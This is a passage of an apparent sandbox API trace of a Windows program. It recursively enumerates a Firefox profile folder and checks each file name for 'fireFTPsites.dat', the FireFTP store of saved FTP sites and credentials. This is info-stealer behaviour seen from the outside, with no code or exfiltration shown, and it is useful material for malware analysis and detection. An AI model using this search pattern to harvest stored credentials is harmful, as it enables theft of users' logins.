lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*" [0070.962] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*", lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 0x642728 [0070.962] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.962] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.962] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.962] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.962] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.962] StrStrIA (lpFirst="addons.json", lpSrch="fireFTPsites.dat") returned 0x0 [0070.962] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.962] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0070.962] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0070.962] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.962] lstrlenA (lpString="\\") returned 1 [0070.962] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.962] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.962] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.962] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.962] lstrlenA (lpString="bookmarkbackups") returned 15 [0070.962] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x641518 [0070.962] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.962] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0070.962] LocalFree (hMem=0x6275a8) returned 0x0 [0070.962] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned 90 [0070.962] lstrlenA (lpString="\\*.*") returned 4 [0070.962] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x626a88 [0070.962] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0070.962] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*" [0070.962] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*", lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 0x642768 [0070.963] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.963] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 1 [0070.963] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.963] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.963] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 1 [0070.963] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="fireFTPsites.dat") returned 0x0 [0070.963] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 1 [0070.963] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="fireFTPsites.dat") returned 0x0 [0070.963] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 0 [0070.963] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.964] LocalFree (hMem=0x626a88) returned 0x0 [0070.964] LocalFree (hMem=0x641518) returned 0x0 [0070.964] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.964] StrStrIA (lpFirst="cert8.db", lpSrch="fireFTPsites.dat") returned 0x0 [0070.964] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.964] StrStrIA (lpFirst="compatibility.ini", lpSrch="fireFTPsites.dat") returned 0x0 [0070.964] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.964] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0070.964] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.964] StrStrIA (lpFirst="cookies.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0070.964] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.964] StrStrIA (lpFirst="downloads.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0070.964] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.964] StrStrIA (lpFirst="extensions.ini", lpSrch="fireFTPsites.dat") returned 0x0 [0070.964] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.964] StrStrIA (lpFirst="extensions.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0070.964] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.964] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0070.964] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0070.964] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.964] lstrlenA (lpString="\\") returned 1 [0070.964] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.964] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.965] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.965] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.965] lstrlenA (lpString="healthreport") returned 12 [0070.965] LocalAlloc (uFlags=0x40, uBytes=0xd8) returned 0x65b348 [0070.965] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.965] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0070.965] LocalFree (hMem=0x6275a8) returned 0x0 [0070.965] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned 87 [0070.965] lstrlenA (lpString="\\*.*") returned 4 [0070.965] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x641518 [0070.965] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0070.965] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*" [0070.965] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*", lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 0x642768 [0070.965] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.965] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 1 [0070.965] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.965] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.965] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 0 [0070.965] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.965] LocalFree (hMem=0x641518) returned 0x0 [0070.965] LocalFree (hMem=0x65b348) returned 0x0 [0070.965] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.965] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0070.965] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.965] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0070.965] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0070.965] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.965] lstrlenA (lpString="\\") returned 1 [0070.965] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.965] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.965] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.965] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.965] lstrlenA (lpString="indexedDB") returned 9 [0070.965] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0070.965] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.965] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0070.965] LocalFree (hMem=0x6275a8) returned 0x0 [0070.965] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0070.965] lstrlenA (lpString="\\*.*") returned 4 [0070.965] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x641518 [0070.965] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0070.965] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*" [0070.965] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*", lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 0x642768 [0070.966] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.966] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 1 [0070.966] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.966] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.966] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 1 [0070.966] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0070.966] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0070.966] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0070.966] lstrlenA (lpString="\\") returned 1 [0070.966] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x65b428 [0070.966] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0070.966] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0070.966] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned 85 [0070.966] lstrlenA (lpString="moz-safe-about+home") returned 19 [0070.966] LocalAlloc (uFlags=0x40, uBytes=0xe9) returned 0x65e448 [0070.966] lstrcpyA (in: lpString1=0x65e448, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0070.966] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0070.966] LocalFree (hMem=0x65b428) returned 0x0 [0070.966] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0070.966] lstrlenA (lpString="\\*.*") returned 4 [0070.966] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e638 [0070.966] lstrcpyA (in: lpString1=0x65e638, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0070.966] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*" [0070.966] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0x12f6be | out: lpFindFileData=0x12f6be) returned 0x6427a8 [0070.966] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.966] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f6be | out: lpFindFileData=0x12f6be) returned 1 [0070.966] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.966] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.966] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f6be | out: lpFindFileData=0x12f6be) returned 1 [0070.966] StrStrIA (lpFirst=".metadata", lpSrch="fireFTPsites.dat") returned 0x0 [0070.966] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f6be | out: lpFindFileData=0x12f6be) returned 1 [0070.966] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0070.966] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0070.966] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0070.966] lstrlenA (lpString="\\") returned 1 [0070.966] LocalAlloc (uFlags=0x40, uBytes=0xea) returned 0x65e730 [0070.966] lstrcpyA (in: lpString1=0x65e730, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0070.966] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0070.966] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned 105 [0070.966] lstrlenA (lpString="idb") returned 3 [0070.966] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e540 [0070.966] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0070.966] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0070.966] LocalFree (hMem=0x65e730) returned 0x0 [0070.967] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0070.967] lstrlenA (lpString="\\*.*") returned 4 [0070.967] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x626a88 [0070.967] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0070.967] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0070.967] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0x12f552 | out: lpFindFileData=0x12f552) returned 0x6427e8 [0070.967] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.967] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f552 | out: lpFindFileData=0x12f552) returned 1 [0070.967] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.967] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.967] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f552 | out: lpFindFileData=0x12f552) returned 1 [0070.967] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0070.967] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0070.967] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0070.967] lstrlenA (lpString="\\") returned 1 [0070.967] LocalAlloc (uFlags=0x40, uBytes=0xee) returned 0x65e730 [0070.967] lstrcpyA (in: lpString1=0x65e730, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0070.967] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0070.967] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 109 [0070.967] lstrlenA (lpString="818200132aebmoouht") returned 18 [0070.967] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x626b88 [0070.967] lstrcpyA (in: lpString1=0x626b88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: 